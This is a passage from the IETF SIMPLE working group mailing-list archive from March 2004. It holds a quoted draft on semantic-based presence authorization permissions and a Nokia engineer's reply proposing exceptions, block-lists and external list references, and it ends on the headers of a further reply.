> been idle, and "full", with a value of two, that indicates that the
> "idle" element is to be passed onto watchers, and should include a
> specific duration if available.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"PlaceType">
>=20
> <t>
> This permission, "placetype" controls access to the "placetype"
> element within
> the PIDF document. It is of boolean type. When true, the
> "placetype" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> <list style=3D"indent"><t>
> OPEN ISSUE: Do we want any finer grained permissions than just whether
> to include, or not include, placetype in the presence document?
> </t></list>
>=20
> </section>
>=20
> <section title=3D"Privacy">
>=20
> <t>
> This permission, "privacy" controls access to the "privacy"
> element within
> the PIDF document. It is of boolean type. When true, the
> "privacy" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Relationship">
>=20
> <t>
> This permission, "relationship" controls access to the "relationship"
> element within
> the PIDF document. It is of boolean type. When true, the
> "relationship" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Sphere">
>=20
> <t>
> This permission, "sphere" controls access to the "sphere"
> element within
> the PIDF document. It is of boolean type. When true, the
> "sphere" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Example Document">
>=20
> <figure><artwork>
> <![CDATA[
>=20
> <?xml version=3D"1.0" encoding=3D"UTF-8"?>
>     <ruleset xmlns=3D"urn:ietf:params:xml:ns:common-policy"
>         xmlns:pres=3D"urn:ietf:params:xml:ns:pres-policy">
>=20
>       <rule id=3D"f3g44r1">
>=20
>         <conditions>
>           <identity>
>             <uri>bob@example.com</uri>
>           </identity>
>           <validity>
>             <from>2003-12-24T17:00:00+01:00</from>
>             <to>2003-12-24T19:00:00+01:00</to>
>           </validity>
>         </conditions>
>=20
>         <actions>
>           <confirmation>true</confirmation>
>         </actions>
>=20
>         <transformations>
>           <pres:view>service</pres:view>
>           <pres:activity>true</pres:activity>
>           <pres:tuples-by-class>business</pres:tuples-by-class>
>           <pres:tuples-by-class>work</pres:tuples-by-class>
>           <pres:class class=3D"work">true</pres:class>
>           <pres:idle>no-time</pres:idle>
>         </transformations>
>=20
>       </rule>
>=20
>     </ruleset>
>=20
> ]]></artwork></figure>
>=20
> </section>
>=20
> <section title=3D"More Open Issues">
>=20
> <list style=3D"symbols">
>=20
> <t>OPEN ISSUE: Is the naming of these permissions confusing? Each
> permission has the same name as the PIDF/RPID element it controls
> access to. Namespaces will make it clear which is which, but we could
> use different names if it was confusing.
> </t>
>=20
> <t>OPEN ISSUE: Right now, the permissions apply to all tuples, or to
> tuples selected by class. There is no other way to select which tuples
> the permission applies to, except for class. We could extend the
> attributes to allow for selection based on other thing - for example,
> placetype or sphere. The aggregation process begins to get
> complicated, however, and I'm not sure how to do it.
> </t>
>=20
> <t>OPEN ISSUE: Do we want a way to specify any syntactic-based
> authorization policies, in order to allow the server to handle
> permissions for new presence elements without simultaneously
> supporting the permission schemas for those elements?
> </t>
>=20
> </list>
>=20
> </section>
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 00:07:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19603
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 00:07:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5e7u-0002Hu-5t
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 00:06:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2N56wIv008788
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 00:06:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5e7u-0002Hf-22
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 00:06:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19562
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 00:06:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e7r-0002CW-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 00:06:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5e6y-000257-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 00:06:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e65-0001ye-00; Tue, 23 Mar 2004 00:05:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5e63-0001z6-5X; Tue, 23 Mar 2004 00:05:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5e5u-0001yX-Tx
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 00:04:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19464
	for <simple@ietf.org>; Tue, 23 Mar 2004 00:04:51 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e5s-0001xd-00
	for simple@ietf.org; Tue, 23 Mar 2004 00:04:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5e4u-0001re-00
	for simple@ietf.org; Tue, 23 Mar 2004 00:03:54 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e3y-0001lq-00
	for simple@ietf.org; Tue, 23 Mar 2004 00:02:54 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2N52o409469;
	Tue, 23 Mar 2004 07:02:50 +0200 (EET)
X-Scanned: Tue, 23 Mar 2004 07:03:21 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2N53L9O004697;
	Tue, 23 Mar 2004 07:03:21 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00YFFMvo; Tue, 23 Mar 2004 06:51:59 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2MN4ws24830;
	Tue, 23 Mar 2004 01:04:59 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 23 Mar 2004 01:04:30 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Comments on: First draft of text on semantic-based authorization policies
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] First draft of text on semantic-based authorization policies
Thread-Index: AcQFuRWC736YvYhSRzyiHqDeaRp26wKkpjRw
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 22 Mar 2004 23:04:30.0325 (UTC) FILETIME=[082D6A50:01C41062]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 01:04:29 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,EXCUSE_3,NO_REAL_NAME 
	autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi Jonathan,

Here are some comments to both the semantic approach and the SIMPLE =
presence authorization work in general.

General comments:
----------------
I'm currently quite concerned with how the authorization looks like. =
There are some very nice properties and much thought has been put into =
it, but I fear that in practice it will fall short. Here are my main =
issues:

* Exceptions:=20
Currently they are allowed only within domains. This was done on purpose =
for reasons that I don't really believe in. The end result is that it is =
impossible to do proper block-listing. It was claimed that block-listing =
is a bad concept anyway, as identities can be created easily to by-pass =
such lists. While in general this is the case, I don't think it should =
limit _all_ systems, some of which can deal with identities better than =
the Internet at large. Below is an example, beyond block-listing, how =
leaving out exceptions makes things difficult
	[Presentity wants to give group "friends" a privileged access to his =
presence information. By default he gives out some information, but =
"friends" should receive a different view of the _same_ information. =
(Note that this is not additive, but we talk about different views, for =
instance showing a _different_ "note".) If exceptions are not allowed, =
"friends" will get the common information in addition to what should be =
given to them, making things confusing at the watcher side. (For =
instance a watcher get 2 tuples with the same Contact, having different =
notes.)]
So I believe the main problem is that presence information is not always =
additive, but it can also be contradictive! Another huge problem is that =
there already exists many presence systems which have block-lists, and =
in some cases we would like to preserve the UI semantics even when the =
protocol stack is changed to SIP. Now it seems impossible.=20
-> Proposal: Allow exceptions in SIMPLE, even though they are not there =
in the common policies.

* External lists:
Again, external list references were dropped due to GEOPRIV =
harmonization. I don't understand why they need to be disallowed in all =
environments. If the service provider has a centralized XCAP server for =
resource lists, those should be usable by reference in presence auth. =
rules. (FYI, OMA is working on common "group management" for different =
applications, and for this external references are also clearly needed.)
-> Proposal: Add external lists, include considerations on where they =
are usable.

I believe these two modifications would make SIMPLE presence rules much =
better deployable in practice, and more easily endorsed directly by e.g. =
3GPP and OMA.

Comments on semantic rules
--------------------------
In general I think it's good to have some semantics involved in =
decision-making, and I understand the benefits over pure syntactic =
model. Here are issues, though:

* view-transformation
This goes clearly in the territory of "what is a tuple" and "compositor =
policy". I strongly support of trying to deal with the latter at least =
in some level here. However, I don't fully support the different "views" =
expressed here. I'm supporter of the service-view - but, _in addition_ =
to tuples describing service/communication-specific attributes, there =
can be a presentity tuple describing common things about the presentity. =
This kind of model should not be excluded here.
-> Proposal: Would it make sense to have the "views" (at least =
presentity and service) combined using union rather than being mutually =
exclusive, so that if both presentity and service view are given, the =
model described above would be taken. Another way would be to describe =
that service-view could still contain presentity-tuple(s). This probably =
needs more thinking.

* Extensibility vs. attribute-based semantics
It seems that most attributes won't have semantics beyond a binary =
show/no-show decision. In this case I see no need for the server to know =
in _advance_ anything of such attributes. In practice the show vs. =
no-show could be a general rule applicaple to any attribute through a =
syntactic match of the attribute name. This would allow handling also =
unknown or proprietary attributes on a rudimentary level without having =
to update the presence server/agent. In case that the attribute has some =
further internal structure, allowing for more complex decisions, such as =
with "idle" in RPID, it could be defined in an extension spec =
accompanying the definition of the attribute itself.
-> Proposal: extend the handling specified for e.g. "placetype" or =
"privacy" to any attributes through syntactic matching on the attribute =
name.

* Abbreviated expressions
It would be good to have abbreviated ways of saying:
- All tuples
- All tuples having a class attribute
- All tuples not having a class attribute
without needing to list all the classes explicitely.
Also there is a problem that all attribute-names need to be listed, if =
they are given, as the defaults are "false". This is only an efficiency =
issue, but maybe some abbreviated form of saying:=20
- all attributes in RPID (or CIPID or Prescaps)
  <except>placetype</except>

* Overlapping actions
It should be described what happens if multiple actions are provided. =
This was discussed in a separate thread.

Regards,
	Markus=20

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 09 March, 2004 11:25
> To: Simple WG
> Subject: [Simple] First draft of text on semantic-based authorization
> policies
>=20
>=20
> Folks,
>=20
> During the SIMPLE meeting at IETF, we had a discussion about=20
> whether to=20
> move from the current syntactic based permissions (show-namespace,=20
> show-tuple, show-element) to semantic-based ones. I took an=20
> action item=20
> to write up proposed text within one week on how the semantic-based=20
> approach might look. Below is a first cut (in xml2rfc) at what such=20
> permissions might look like.
>=20
> One thing that became clear to me in doing this is that certain=20
> transformations are easily expressed semantically, but nearly=20
> impossible=20
> syntactically. The "view" permission was one example. There=20
> are a bunch=20
> of open issues; mostly minor, all noted in the text. Comments=20
> on any and=20
> all of it are welcome. I'd like to get buy in (or lack=20
> thereof) of this=20
> general direction within the next week or two so I can integrate the=20
> text and submit a revision.
>=20
> Thanks,
> Jonathan R.
>=20
>=20
> ---
> <section title=3D"Transformations">
>=20
> <t>
> Each of the sections below defines a particular transformation that is
> applied to the presence document before distribution.
> </t>
>=20
> <section titie=3D"View">
>=20
> <t>
> The view transformation indicates the way in which the published
> presence data is aggregated before being presented to the watcher. The
> value of this element is an enumerated token with the following
> values:
> </t>
>=20
> <list style=3D"hanging">
>=20
> <t hangText=3D"presentity:">This token has a value of zero. It =
indicates
> that the presence agent should aggregate the presence information for
> the presentity into a single tuple. This tuple will contain a single
> contact value that reaches the presentity. Because this causes
> aggregation of data into a single tuple, it reveals the least amount
> of information about a presentity, and thus has the value of zero.
> </t>
>=20
> <t hangText=3D"service:">This token has a value of one. It indicates
> that the presence agent should model the presentity as a sequence of
> tuples, each representing a "service" by which the presentity can be
> reached. Examples of services and how they are represented is
> described in <xref target=3D"I-D.roach-simple-service-features"/>.</t>
>=20
> <t hangText=3D"device:">This token has a value of two. It indicates =
that
> the presence agent should model the presentity as a sequence of
> tuples, each representing a "device" that can be used to contact the
> user. Examples of devices are wireless phones, PC-based IM=20
> applications,=20
> PDAs
> and standalone hard phones.</t>
>=20
> </list>
>=20
> <t>The values of the tokens have been chosen such that "presentity"
> represents the greatest level of privacy, followed by "service", and
> "device" represents the least. [[OPEN ISSUE: Should we space out the
> values to allow for other types to be defined down the road?]]. [[OPEN
> ISSUE: This permission will require roach-simple-service-features, or
> the text present in it, to proceed. What are the plans for that?]].
> </t>
>=20
> <t>The default value of this permission is "presentity" or zero.</t>
>=20
> </section>
>=20
> <section title=3D"Contact URI">
>=20
> <t>
> The "contact-uri" permission indicates whether or not the Contact URI
> for tuples is presented to the watcher or not. This element has an
> optional "class" attribute, which indicates the class of tuples for
> which the permission applies. Absence of this attribute indicates that
> the permission applies to all tuples. There can be multiple
> "contact-uri" elements, but each of them MUST differ in the presence
> and/or value of the "class" attribute.
> </t>
>=20
> <t>The "contact-uri" permission is of boolean type. A value of false
> means that the Contact URI for the associated tuples is not to be
> distributed to watchers. A value of true means that it is. By default,
> the Contact URI for all tuples is distributed to watchers.
> </t>
>=20
> <t>
> For the purposes of combining permissions, the contact-uri for each
> class is treated as an independent variable. If there is a contact-uri
> without a class attribute, this is modeled as N separate contact-uri
> elements, one for each of the N tuple classes in the presence
> document. Tuples that are not explicitly labeled with a class are
> considered to belong to the same class, which we call the implicit
> class.
> </t>
>=20
> <t>
> For example, consider a presence document with three tuples. The first
> one is labeled with a class of "friend", the second one is labeled
> with a class of "work", and the third has no label. This document has
> tuples in three classes - work, friend and implicit. When a watcher
> subsribes to the presence of this presentity, two rules match:
> </t>
>=20
> <figure><artwork>
> <![CDATA[
> RULE 1
>    <contact-uri class=3D"friend">true</contact-uri>
>    <contact-uri>false<contact-uri>
>=20
> RULE 2
>    <contact-uri class=3D"work">true</contact-uri>
>=20
> ]]></artwork></figure></t>
>=20
> <t>
> To combine these permissions, the contact-uri in the first rule
> without a class attribute is modeled as if it were three
> contact-uris:</t>
>=20
> <figure><artwork>
> <![CDATA[
>    <contact-uri class=3D"friend">false</contact-uri>
>    <contact-uri class=3D"work">false<contact-uri>
>    <contact-uri class=3D"implict">false<contact-uri>
> ]]></artwork></figure></t>
>=20
> <t>The contact-uri for each class is then treated as an independent
> variable, and the standard combining rules are applied. There are two
> instances of the contact-uri element for friends - one with a value of
> true (from rule 1), and one with a value of false (from the expanded
> classless contact-uri). These are combined to yield a value of
> true. As a result, the contact in the tuple with class "friend" will
> be shown to the watcher. There are two instances of the contact-uri
> element for work - one with a value of true (from rule 2), and one
> with a value of false (from the expanded classless contact-uri). These
> are combined to yield a value of true. As a result, the contact in the
> tuple with class "work" will be shown to the watcher. There is a
> single instance of the contact-uri element for "implicit", with a
> value of false (from the expanded classless contact-uri). As a result,
> the contact in the tuple without a class label will not be shown to
> the watcher.
> </t>
>=20
> <list style=3D"indent"><t>
> OPEN ISSUE: There is no way to define that a contact-uri applies to
> all tuples without a class label. We could introduce that by defining
> a special value of the class attribute, say "implicit". This would
> cause problems if a presence document ever had a class label with the
> actual value of "implicit". Another choice is to define another
> attribute to the contact-uri element, say "implicit", which indicates
> that it applies to implicit classes or not.
> </t></list>
>=20
> </section>
>=20
> <section title=3D"Activity">
>=20
> <t>This permission controls access to the "activity" element defined
> in <xref target=3D"I-D.ietf-simple-rpid"/>. The name of the element is
> "activity", and it is a boolean type. When true, it means that the
> RPID activity is to be distributed to watchers, and when false, means
> that it is to be withheld.
> </t>
>=20
> <t>
> Like the "contact-uri" element, the "activity" element can have an
> optional "class" attribute that defines which tuples the permission
> applies to. Rules for composition are identical to those for
> "contact-uri".
> </t>
>=20
> <t>
> The default value for this permission is false.
> </t>
>=20
> </section>
>=20
> <section title=3D"Tuples by Class">
>=20
> <t>
> This permission controls access to tuples. It indicates which tuples
> published into the presence agent will be used as an input to the
> composition process. Tuples are selected by the value of their
> "class" element. The "tuples-by-class" element has, as its content,
> the name of a specific class which is to be used as input in the
> composition process. There can be multiple instances of the
> "tuples-by-class" element, each one indicating a different
> class. [[OPEN ISSUE: Same issue as above on how to indicate tuples
> that have no explicit class.]]. The result is that the
> "tuples-by-class" element is a "set" data type.
> </t>
>=20
> <t>
> The default value of this permission is "implicit", meaning that in
> absence of specific instructions otherwise, only tuples without the
> class label will be distributed to watchers.
> </t>
>=20
> <list style=3D"indent"><t>
> OPEN ISSUE: There are other reasonable chocies for this
> default. Another choice is that all tuples, regardless of class, are
> distributed.
> </t></list>
>=20
> </section>
>=20
> <section title=3D"Class">
>=20
> <t>
> This permission controls access to the "class" element within the PIDF
> document. This is in contrast to the "tuples-by-class", which=20
> indicates
> which tuples are passed to the watcher. This permission indicates
> whether the RPID "class" element is passed to the watcher.
> </t>
>=20
> <t>
> This permission is a boolean type. Its default is false, meaning that
> the class element will normally be stripped from PIDF documents unless
> the presentity instructs otherwise. The element can contain a "class"
> attribute which indicates for which classes this permission
> applies. The aggregation rules for this permission are identical to
> those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Contact Type">
>=20
> <t>
> This permission, "contact-type" controls access to the "contact-type"
> element within
> the PIDF document. It is of boolean type. When true, the
> "contact-type" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Idle">
>=20
> <t>
> This permission, "idle" controls access to the "idle"
> element within
> the PIDF document. It is an enumerated integer type. Its values are
> "hide", with a value of zero, that indicates that the "idle" element
> is to be removed from the presence document, "no-time", with a value
> of one, that indicates that the "idle" element is to be passed on to
> watchers, but without the specific duration for which the user has
> been idle, and "full", with a value of two, that indicates that the
> "idle" element is to be passed onto watchers, and should include a
> specific duration if available.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"PlaceType">
>=20
> <t>
> This permission, "placetype" controls access to the "placetype"
> element within
> the PIDF document. It is of boolean type. When true, the
> "placetype" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> <list style=3D"indent"><t>
> OPEN ISSUE: Do we want any finer grained permissions than just whether
> to include, or not include, placetype in the presence document?
> </t></list>
>=20
> </section>
>=20
> <section title=3D"Privacy">
>=20
> <t>
> This permission, "privacy" controls access to the "privacy"
> element within
> the PIDF document. It is of boolean type. When true, the
> "privacy" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Relationship">
>=20
> <t>
> This permission, "relationship" controls access to the "relationship"
> element within
> the PIDF document. It is of boolean type. When true, the
> "relationship" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Sphere">
>=20
> <t>
> This permission, "sphere" controls access to the "sphere"
> element within
> the PIDF document. It is of boolean type. When true, the
> "sphere" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Example Document">
>=20
> <figure><artwork>
> <![CDATA[
>=20
> <?xml version=3D"1.0" encoding=3D"UTF-8"?>
>     <ruleset xmlns=3D"urn:ietf:params:xml:ns:common-policy"
>         xmlns:pres=3D"urn:ietf:params:xml:ns:pres-policy">
>=20
>       <rule id=3D"f3g44r1">
>=20
>         <conditions>
>           <identity>
>             <uri>bob@example.com</uri>
>           </identity>
>           <validity>
>             <from>2003-12-24T17:00:00+01:00</from>
>             <to>2003-12-24T19:00:00+01:00</to>
>           </validity>
>         </conditions>
>=20
>         <actions>
>           <confirmation>true</confirmation>
>         </actions>
>=20
>         <transformations>
>           <pres:view>service</pres:view>
>           <pres:activity>true</pres:activity>
>           <pres:tuples-by-class>business</pres:tuples-by-class>
>           <pres:tuples-by-class>work</pres:tuples-by-class>
>           <pres:class class=3D"work">true</pres:class>
>           <pres:idle>no-time</pres:idle>
>         </transformations>
>=20
>       </rule>
>=20
>     </ruleset>
>=20
> ]]></artwork></figure>
>=20
> </section>
>=20
> <section title=3D"More Open Issues">
>=20
> <list style=3D"symbols">
>=20
> <t>OPEN ISSUE: Is the naming of these permissions confusing? Each
> permission has the same name as the PIDF/RPID element it controls
> access to. Namespaces will make it clear which is which, but we could
> use different names if it was confusing.
> </t>
>=20
> <t>OPEN ISSUE: Right now, the permissions apply to all tuples, or to
> tuples selected by class. There is no other way to select which tuples
> the permission applies to, except for class. We could extend the
> attributes to allow for selection based on other thing - for example,
> placetype or sphere. The aggregation process begins to get
> complicated, however, and I'm not sure how to do it.
> </t>
>=20
> <t>OPEN ISSUE: Do we want a way to specify any syntactic-based
> authorization policies, in order to allow the server to handle
> permissions for new presence elements without simultaneously
> supporting the permission schemas for those elements?
> </t>
>=20
> </list>
>=20
> </section>
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 09:21:31 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28531
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 09:21:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mmZ-0000SS-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 09:21:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mla-0000IC-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 09:20:31 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mkO-00001F-00; Tue, 23 Mar 2004 09:19:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mk9-0001aw-8w; Tue, 23 Mar 2004 09:19:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5mjF-0001XC-I4
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 09:18:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27749
	for <simple@ietf.org>; Tue, 23 Mar 2004 09:18:02 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mjD-0007Rd-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:18:03 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5mgX-0006sC-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:15:18 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5mfW-0006lg-00
	for simple@ietf.org; Tue, 23 Mar 2004 09:14:14 -0500
Received: from bear.cs.columbia.edu (IDENT:Z9oWLZHx8FHob9lsPTVL8RxVV/HZ1R9s@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2NEDqRI013850
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 23 Mar 2004 09:13:52 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2NEDpXe009866
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 23 Mar 2004 09:13:51 -0500
Message-ID: <4060461D.6030201@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Comments on: First draft of text on semantic-based authorization
 policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
